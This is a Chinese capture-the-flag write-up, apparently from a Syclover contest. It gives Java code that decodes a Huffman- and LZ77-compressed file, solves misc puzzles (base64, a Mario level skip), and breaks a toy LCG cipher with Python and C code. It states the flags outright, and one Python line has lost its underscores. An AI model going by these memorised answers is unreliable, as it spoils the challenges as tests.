int windowSize = 64; Encode encode = new Encode(); LZ77 lz77 = new LZ77(windowSize); try { long startTime = System.currentTimeMillis(); FileInputStream srcFile = new FileInputStream(srcFilename); DataInputStream dataInputStream = new DataInputStream( srcFile); Node grand = encode.formTree( encode.colorCount(dataInputStream), Encode.color.length); encode.setCode(grand); dataInputStream.close(); srcFile.close(); DataOutputStream dataOutputStream = new DataOutputStream( new FileOutputStream(SaveFilename)); FileInputStream srcFileAgain = new FileInputStream( srcFilename); DataInputStream dataInputStreamAG = new DataInputStream( srcFileAgain); encode.writeEncode(grand, dataInputStreamAG, dataOutputStream); dataInputStreamAG.close(); srcFileAgain.close(); dataOutputStream.close(); lz77.compress(SaveFilename, SaveFilename); long endTime = System.currentTimeMillis(); lbl_status.setText("Compression Done in : " + (endTime - startTime) + " ms");
题目降低了难度,已经将lz77这个算法写出来了,所以可以直接使用lz77解压一次,然后再查看encode类。
public static int[] color = new int[256]; public void getSort(Node[] node,int nodeCount){
for(int i = 0; i < nodeCount; i ++){ for(int j = i; j < nodeCount; j ++){ if(node[i].freq < node[j].freq){ Node tempColor = node[i]; node[i] = node[j]; node[j] = tempColor; } } } } public Node formTree(Node[] node, int nodeCount){
Node parent = new Node(); while(nodeCount > 1){ this.getSort(node, nodeCount); while(node[nodeCount - 1].freq == 0) nodeCount --; parent = new Node(); Node left = node[nodeCount - 1]; Node right = node[nodeCount - 2]; parent.left = left; parent.right = right; parent.freq = left.freq + right.freq; left.parent = parent; right.parent = parent; node[nodeCount - 2] = parent; node[nodeCount - 1] = null; nodeCount --; } return parent; } public Node[] colorCount(DataInputStream dataInputStream){
for(int i = 0; i < color.length; i ++){ color[i] = 0; } int offset = -1; while(true){ try{ offset = dataInputStream.readUnsignedByte();
color[offset] ++; } catch(EOFException err){ break; } catch(IOException err){} } Node[] node = new Node[color.length];
for(int i = 0; i < color.length; i ++){ node[i] = new Node(); node[i].freq = color[i]; node[i].color = i; } return node; } public void setCode(Node grandNode){
if(grandNode.left != null) grandNode.left.Code = grandNode.Code + "0"; if(grandNode.right != null) grandNode.right.Code = grandNode.Code + "1"; if(grandNode.left != null) setCode(grandNode.left); if(grandNode.right != null) setCode(grandNode.right); } public String getCode(Node grand, int initColor){
String code = ""; if(grand.color == initColor){ code = grand.Code; } else if(grand.color == -1){ code = getCode(grand.left,initColor);
if(code.equals("")) code = getCode(grand.right,initColor); } return code; } public String suffixByteString(String initStr){
while(initStr.length() < 8)
initStr += "0"; return initStr; } public int strToInt(String str){ int dec = 0; for(int i = str.length() - 1; i >= 0; i --){ dec = dec * 2 + (str.charAt(0) - 48); str = str.substring(1); } return dec; }
熟悉数据结构的能很容易的看出这就是一个huffman编码,然后就是写解码的代码了。解码的代码如下:
public Node getTree(DataInputStream dataInputStream) throws IOException{ Node grand = new Node(); Node curNode = grand; int code = -1; int curColor = 0; int curLength = -1; int curLengthTrail = -1; String codeStrBin = "";
while(curColor < 256){ curLength = dataInputStream.readUnsignedByte();
for(int i = 0; i < curLength / 8; i ++){
codeStrBin += hexIntToByteStr(dataInputStream.readUnsignedByte()); } curLengthTrail = curLength % 8;
if(curLengthTrail != 0){ codeStrBin += hexIntToByteStr(dataInputStream.readUnsignedByte()).substring(8 - curLengthTrail, 8); } for(int i = 0; i < curLength; i ++){ code = codeStrBin.charAt(0) - 48;
codeStrBin = codeStrBin.substring(1); if(code == 0){
if(curNode.left == null){ curNode.left = new Node(); curNode.left.parent = curNode; curNode.left.huffCode = curNode.huffCode + "0"; } curNode = curNode.left; } else{
if(curNode.right == null){ curNode.right = new Node(); curNode.right.parent = curNode; curNode.right.huffCode = curNode.huffCode + "1"; } curNode = curNode.right; } if(i == curLength - 1){
curNode.color = curColor; curNode = grand; } } curColor ++;
} return grand; } public void getColor(Node grand, DataInputStream dataInputStream, DataOutputStream dataOutputStream) throws IOException{ Node curNode = grand; int code = -1; int intBuffer = 0; String strBuffer = "";
while(true){ try{ intBuffer = dataInputStream.readUnsignedByte();
strBuffer = hexIntToByteStr(intBuffer);
while(strBuffer.length() > 0){ if((code == 1) && (curNode.right != null)){
curNode = curNode.right; code = strBuffer.charAt(0) - 48; strBuffer = strBuffer.substring(1); } else if((code == 0) && (curNode.left != null)){
curNode = curNode.left; code = strBuffer.charAt(0) - 48; strBuffer = strBuffer.substring(1); } else if(curNode.left == null || curNode.right == null){
dataOutputStream.write(curNode.color);
curNode = grand; } else{ code = strBuffer.charAt(0) - 48;
strBuffer = strBuffer.substring(1); } } } catch(EOFException err){ break;
} } }
最后就是对文件解压就能看到flag了。
0x04 MISC
Misc1《签到题》
这是签到题,喵喵喵 ZmxhZ3t3ZWxjb21lMlN5Y2xvdmVyfQ==
签到题,看到==结尾,判断是base64,解一发base64 Base64编码/解码器
flag{welcome2Syclover}
Misc2《马里奥》
阿优是暮雨的死党,一个标准的宅男。什么是标准的宅男生活呢?当然不是抽烟喝酒烫头! 对于阿优来说,生活就是游戏、动漫、还有。。。。你懂的! 这不,阿优来了~ “暮雨快出来~看我找到了什么!陈年的超级马里奥!快来玩~” 暮雨扶额道:“又来了。。。整天就拿些无聊的游戏来找我。” “嘿嘿,这次可不一样~”阿优神秘地说道,“听说这个游戏通关后,会有意想不到的惊喜呢!” “惊喜?有点意思,来吧~让我看看!” http://game.sycsec.com/download/Super Mario.zip
正常的解法:通关视频
在1-2这里可以上去的。可以走到后面
1-2这里可以跳到第四关。
4-2这里可以跳到第八关。
上去之后 可以跳到第八关。八关之后的只有自己慢慢玩了。
FLAG-PLAYGAMEISWELL
还有其他的思路,就是使用金手指跳关,或者是使用其他人的8-4的游戏内存载入,直接到最后一关也是一种解题思路。
Misc3《密文》
藤原暮雨在一个月的观察行动中,机智地截获到了“三叶豆腐店”内部通讯的一段密文。面对密文藤原一头雾水,不过他知道明文中一定出现了flag这个单词。请你帮他解密出明文。 http://game.sycsec.com/download/Misc3_new.zip
这道题使用线性同余随机数生成器: state = (state * 1103515425 + 54321) & 0x3fffffff 生成一串伪随机数,和明文相加得到密文。 第一步,先根据题目描述,枚举密文中的每一位是否和“flag”匹配。找到了1880758 、2449749 这两处都出现了flag(出题人的失误,应只有一处,不过不影响做题),对应的随机数是 730278753、676484048。程序如下:
#!/usr/bin/python from crypt import srand from crypt import rand from struct import * def main(): f = open("ciphertext","rb") data = f.read() for i in range(0,len(data)-16,4): c = unpack("i",data[i:i+4])[0] r = c - (ord('f') << 22) srand(r) if rand()+(ord('l')<<22) != unpack("i",data[i+4:i+8])[0]: continue if rand()+(ord('a')<<22) != unpack("i",data[i+8:i+12])[0]: continue if rand()+(ord('g')<<22) != unpack("i",data[i+12:i+16])[0]: continue print i/4,r if name == "main": main()
第二步,找到flag的位置后直接解出后面的明文可以,解前面的明文有两种方法。一是求出1103515425模0x40000000的逆,这样可以反向推出秘钥流。第二种方法是利用周期性,从任意一个种子开始生成一串随机数,必定会达到flag对应的那个随机数,记录下来前面生成的随机数列,就可以解出flag前面的明文了。第二种解法的程序如下:
#include <stdio.h> #define m 0x3fffffff #define MAXSIZE 3000000 int state = 1; int rand() { state = (1103515425*state + 54321) & m; return state; } int cnt = 0; int filesize = 0; int cipher[MAXSIZE]; char plain[MAXSIZE]; int s[m+1]; void output() { FILE *fp = fopen("plaintext","wb"); int end = 2449749; //position of 'f' while (end != -1) { plain[end] = (cipher[end] - s[cnt]) >> 22; --end; --cnt; } fwrite(plain,1,filesize,fp); fclose(fp); return; } int main() { FILE *fp; fp = fopen("ciphertext","rb"); filesize = fread(cipher,4,MAXSIZE,fp); printf("filesize:%d\n",filesize); while (1) { int r = rand(); s[cnt++] = r; if (r == 676484048) { cnt--; printf("cnt:%d\n",cnt); output(); break; } } return 0; }
由于出题人考虑不周导致可以直接爆破种子。而且“flag”后面给出的提示过于详细,base64编码的图片文件开头是几种固定的格式,得出第一步的信息后可以枚举几种文件开头就能解出。
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论